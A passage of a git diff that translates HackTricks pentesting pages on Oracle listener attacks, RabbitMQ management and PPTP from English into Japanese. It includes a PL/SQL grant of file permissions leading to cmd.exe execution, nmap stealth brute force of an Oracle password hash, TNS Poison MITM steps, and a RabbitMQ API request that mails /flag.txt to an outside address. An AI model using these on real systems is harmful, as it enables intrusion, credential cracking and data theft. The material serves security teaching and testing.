DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; +CURSOR C1 IS SELECT 'GRANT','GREMLIN','SYS','java.io.FilePermission','<FILES>>','execute','ENABLED' FROM DUAL; - BEGIN - OPEN C1; - FETCH C1 BULK COLLECT INTO POL; - CLOSE C1; - DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL); - END; - / - +BEGIN +OPEN C1; +FETCH C1 BULK COLLECT INTO POL; +CLOSE C1; +DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL); +END; +/ + PL/SQL procedure successfully completed. ``` - -Now that you have the privileges to call up Java procedures, you can evoke a response from the Windows interpreter and execute something: - +今、Javaプロシージャを呼び出す特権を持っているので、Windowsインタープリタからの応答を引き起こし、何かを実行することができます。 ```text SQL> select dbms_java.runjava(‘oracle/aurora/util/Wrapper c:\\windows\\system32\\cmd.exe /c echo 123 >c:\\hack’)from dual; ``` - - - - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
- - diff --git a/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md b/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md index 6f76159a3..178ec55ac 100644 --- a/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md +++ b/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md @@ -1,43 +1,40 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**。
-# Outer Perimeter: Remote stealth pass brute force +# 外部周辺: リモートステルスパスブルートフォース -**The versions 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2, and 11.2.0.3 are vulnerable** to this technique. In order to understand the idea behind this vulnerability, you need to consider how the authentication protocol works with the database. I will show it for version 11. The interaction with the server proceeds as follows: +**バージョン11.1.0.6、11.1.0.7、11.2.0.1、11.2.0.2、および11.2.0.3はこのテクニックに対して脆弱です**。この脆弱性の背後にあるアイデアを理解するためには、データベースとの認証プロトコルがどのように機能するかを考慮する必要があります。バージョン11の場合、サーバーとのやり取りは次のように行われます。 -1. The client connects to the server and sends the user name. -2. The server generates a session identifier (‘AUTH\_SESSKEY’) and encrypts it by using AES-192. As its key, the system uses SHA-1 hash generated from user password and salt (‘AUTH\_VFR\_DATA’). -3. The server sends an encrypted session ID and salt to the client. -4. The client generates the key by hashing its password and received salt. The client uses this key to decrypt the session data received from the server. -5. Based on decrypted server session ID, the client generates a new public key for future use. +1. クライアントがサーバーに接続し、ユーザー名を送信します。 +2. サーバーはセッション識別子('AUTH\_SESSKEY')を生成し、AES-192を使用して暗号化します。システムは、ユーザーパスワードとソルト('AUTH\_VFR\_DATA')から生成されたSHA-1ハッシュをキーとして使用します。 +3. サーバーは暗号化されたセッションIDとソルトをクライアントに送信します。 +4. クライアントは、受信したソルトと自身のパスワードをハッシュ化してキーを生成します。クライアントはこのキーを使用して、サーバーから受け取ったセッションデータを復号化します。 +5. 復号化されたサーバーセッションIDに基づいて、クライアントは将来の使用のために新しい公開鍵を生成します。 -Now, here’s the most interesting part: The session ID ‘AUTH\_SESSKEY’ sent by the server to the client has a length of 48 bytes. Of these, 40 bytes are random, and the last 8 are the duplicates of ‘0x08’. The initialization vector is 0x00 (Null).\ -Knowing that the last 8 bytes of the public identifier always consist of ‘0x08’, we can bruteforce this password and, moreover, do it in offline mode, which means a tremendous speed, especially if you use GPU. To mount an attack, you need to know SID, valid login (for example, ‘SYS’ account is very interesting) and, of course, have the ability to connect to the database. In this case, there will be no records, such as ‘Invalid Login Attempt’, created in the Oracle audit logs! +さて、最も興味深い部分です:サーバーからクライアントに送信されるセッションID 'AUTH\_SESSKEY'は、長さが48バイトです。そのうちの40バイトはランダムであり、最後の8バイトは '0x08' の重複です。初期化ベクトルは0x00(ヌル)です。\ +公開識別子の最後の8バイトが常に '0x08' であることを知っているので、このパスワードをブルートフォース攻撃することができます。さらに、オフラインモードで行うことができます。これは非常に高速です、特にGPUを使用する場合です。攻撃を行うためには、SID、有効なログイン(たとえば、 'SYS'アカウントは非常に興味深いです)を知る必要があります。もちろん、データベースに接続する能力も必要です。この場合、Oracleの監査ログに作成される「無効なログイン試行」といったレコードはありません! -Summing it all up: +すべてをまとめると: -1. Use Wireshark to **intercept** the **initial traffic** during **authorization**. This will be helped by ‘tns’ filter. -2. Extract **HEX values for AUTH\_SESSKEY, AUTH\_VFR\_DATA**. -3. Insert them into [**PoC script**](https://www.exploit-db.com/exploits/22069), which will perform a dictionary (brute force) attack. - -## Using nmap and john +1. Wiresharkを使用して、**認証**中の**初期トラフィック**を**傍受**します。これには 'tns' フィルターが役立ちます。 +2. **AUTH\_SESSKEY、AUTH\_VFR\_DATA** の **HEX値**を抽出します。 +3. 辞書(ブルートフォース)攻撃を実行する[**PoCスクリプト**](https://www.exploit-db.com/exploits/22069)にそれらを挿入します。 +## nmapとjohnを使用する ``` root@kali:~# nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30 @@ -48,29 +45,25 @@ PORT STATE SERVICE | oracle-brute-stealth: | Accounts | SYS:$o5logon$1245C95384E15E7F0C893FCD1893D8E19078170867E892CE86DF90880E09FAD3B4832CBCFDAC1 -| A821D2EA8E3D2209DB6*4202433F49DE9AE72AE2 - +| A821D2EA8E3D2209DB6*4202433F49DE9AE72AE2 - | Hashed valid or invalid credentials | Statistics |_ Performed 241 guesses in 12 seconds, average tps: 20 john hashes.txt ``` - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
- - diff --git a/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/tns-poison.md b/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/tns-poison.md index 5fdc360c0..3eecf1fec 100644 --- a/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/tns-poison.md +++ b/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/tns-poison.md @@ -1,64 +1,56 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
-# TNS Poison +# TNSポイズン -If you encounter a newer version of the listener, there is not much room left except brute-forcing. However, all versions up to version 12c are vulnerable to an attack called ‘TNS Poison’. Though the latter version is vulnerable only in some special configurations. For example, one of the ways to fix this vulnerability is by disabling the dynamic configuration of the listener, which is impossible when using Oracle DataGuard, PL/SQL Gateway in connection with APEX and in some versions of SAP. In general, the issue is that, by default, the listener service supports remote configuration and, in addition, it allows to do it anonymously. This is where the heart of vulnerability lies. +新しいバージョンのリスナーに遭遇した場合、ブルートフォース以外の選択肢はほとんどありません。ただし、バージョン12cまでのすべてのバージョンは「TNSポイズン」と呼ばれる攻撃に対して脆弱です。ただし、後者のバージョンは特定の設定でのみ脆弱です。たとえば、この脆弱性を修正する方法の1つは、リスナーの動的構成を無効にすることですが、これはOracle DataGuard、APEXとの接続でのPL/SQL Gateway、および一部のSAPのバージョンでは不可能です。一般的に、問題は、デフォルトでリスナーサービスがリモート構成をサポートし、さらに匿名でそれを行うことができることです。これが脆弱性の核心です。 -[![Fig. 1. TNS Poison Vulnerability](https://hackmag.com/wp-content/uploads/2015/04/poison.png)](https://hackmag.com/wp-content/uploads/2015/04/poison.png) +[![図1. TNSポイズンの脆弱性](https://hackmag.com/wp-content/uploads/2015/04/poison.png)](https://hackmag.com/wp-content/uploads/2015/04/poison.png) -Fig. 1. TNS Poison Vulnerability +図1. TNSポイズンの脆弱性 -This is a sample attack algorithm \(see Fig. 1\): +これは攻撃のサンプルアルゴリズムです(図1を参照): -* Send the following TNS query: ‘CONNECT\_DATA=\(COMMAND=SERVICE\_REGISTER\_NSGR\)\)’. -* The vulnerable server will respond: ‘\(DESCRIPTION=\(TMP=\)\)’. This is what will be the answer from a patched server: ‘\(ERROR\_STACK=\(ERROR=1194\)\)’. -* Generate a configuration package with SID and IP of the new listener \(for future MITM\). The number of characters in the name of the current SID is of fundamental importance. You need to know it, since this is what a Well Formed package depends on. -* Next, send all these goodies to the listener. -* If everything is correct, then all new connections will be forwarded by the listener through your controlled IP. +* 次のTNSクエリを送信します:「CONNECT\_DATA=\(COMMAND=SERVICE\_REGISTER\_NSGR\)\)」。 +* 脆弱なサーバーは次のように応答します:「\(DESCRIPTION=\(TMP=\)\)」。これはパッチ済みのサーバーからの応答です:「\(ERROR\_STACK=\(ERROR=1194\)\)」。 +* 新しいリスナーのSIDとIPを持つ構成パッケージを生成します(将来のMITMのため)。現在のSIDの名前の文字数は基本的な重要性があります。これは、整形されたパッケージが依存するものです。 +* 次に、これらのすべての情報をリスナーに送信します。 +* すべてが正しければ、リスナーによってすべての新しい接続が制御されたIP経由で転送されます。 -It is important not to forget to enable the proxying of queries \(like IP\_forwarding in Linux\), otherwise, instead of a neat MITM attack, you will get a rough DoS, because the new clients will be unable to connect to the database. As a result, an attacker can embed their own commands within another user’s session. **You can check whether the server is vulnerable by using the following MSF module: ‘auxiliary/scanner/oracle/tnspoison\_checker’.** +LinuxのIP\_forwardingのように、クエリのプロキシングを有効にすることを忘れないでください。そうしないと、きちんとしたMITM攻撃の代わりに、新しいクライアントはデータベースに接続できなくなるため、荒っぽいDoSを受けることになります。結果として、攻撃者は他のユーザーのセッションに独自のコマンドを埋め込むことができます。**サーバーが脆弱かどうかは、次のMSFモジュールを使用して確認できます:「auxiliary/scanner/oracle/tnspoison\_checker」。** -All this page was extracted from here: [https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/](https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/) - -**Other way to test:** +このページのすべてはここから抽出されました:[https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/](https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/) +**別のテスト方法:** ```text ./odat.py tnspoison -s -p -d --test-module ``` - - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
- - diff --git a/network-services-pentesting/15672-pentesting-rabbitmq-management.md b/network-services-pentesting/15672-pentesting-rabbitmq-management.md index 47f003c90..9ae4067d7 100644 --- a/network-services-pentesting/15672-pentesting-rabbitmq-management.md +++ b/network-services-pentesting/15672-pentesting-rabbitmq-management.md @@ -1,50 +1,47 @@ -# 15672 - Pentesting RabbitMQ Management +# 15672 - RabbitMQ管理のペンテスト
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). +もし**ハッキングのキャリア**に興味があり、**解読不能なものをハック**したい場合は、**採用中です**(流暢なポーランド語の読み書きが必要です)。 {% embed url="https://www.stmcyber.com/careers" %} -## Basic Information +## 基本情報 -You can learn more about RabbitMQ in [**5671,5672 - Pentesting AMQP**](5671-5672-pentesting-amqp.md).\ -In this port you may find the RabbitMQ Management web console if the [management plugin](https://www.rabbitmq.com/management.html) is enabled.\ -The main page should looks like this: +RabbitMQについては、[**5671,5672 - Pentesting AMQP**](5671-5672-pentesting-amqp.md)で詳しく学ぶことができます。\ +このポートでは、[管理プラグイン](https://www.rabbitmq.com/management.html)が有効になっている場合、RabbitMQ管理ウェブコンソールを見つけることができます。\ +メインページは次のようになります: ![](<../.gitbook/assets/image (270).png>) -## Enumeration +## 列挙 -The default credentials are "_**guest**_":"_**guest**_". If they aren't working you may try to [**brute-force the login**](../generic-methodologies-and-resources/brute-force.md#http-post-form). - -To manually start this module you need to execute: +デフォルトの資格情報は "_**guest**_":"_**guest**_" です。動作しない場合は、[**ログインをブルートフォース**](../generic-methodologies-and-resources/brute-force.md#http-post-form)してみることができます。 +このモジュールを手動で開始するには、次のコマンドを実行する必要があります: ``` rabbitmq-plugins enable rabbitmq_management service rabbitmq-server restart ``` - -Once you have correctly authenticated you will see the admin console: +正しく認証されると、管理コンソールが表示されます: ![](<../.gitbook/assets/image (271) (1).png>) -Also, if you have valid credentials you may find interesting the information of `http://localhost:15672/api/connections` - -Note also that it's possible to **publish data inside a queue** using the API of this service with a request like: +また、有効な資格情報を持っている場合、`http://localhost:15672/api/connections`の情報が興味深いかもしれません。 +また、このサービスのAPIを使用して、**キュー内にデータを公開する**ことも可能です。以下のようなリクエストを使用します: ```bash POST /api/exchanges/%2F/amq.default/publish HTTP/1.1 Host: 172.32.56.72:15672 @@ -55,14 +52,13 @@ Content-Length: 267 {"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"zevtnax+ppp@gmail.com\", \"attachments\": [{\"path\": \"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"} ``` - ### Shodan * `port:15672 http` -If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). +もしあなたが**ハッキングのキャリア**に興味があり、**解読不能なものをハック**したいのであれば - **私たちは採用しています!**(流暢なポーランド語の読み書きが必要です)。 {% embed url="https://www.stmcyber.com/careers" %} @@ -70,10 +66,10 @@ If you are interested in **hacking career** and hack the unhackable - **we are h ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* あなたは**サイバーセキュリティ企業**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **ハッキングのトリックを共有するために、[hacktricksのリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudのリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 diff --git a/network-services-pentesting/1723-pentesting-pptp.md b/network-services-pentesting/1723-pentesting-pptp.md index b65fdffd9..f4a084576 100644 --- a/network-services-pentesting/1723-pentesting-pptp.md +++ b/network-services-pentesting/1723-pentesting-pptp.md @@ -1,36 +1,34 @@ -# 1723 - Pentesting PPTP +# 1723 - PPTPのペンテスト
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 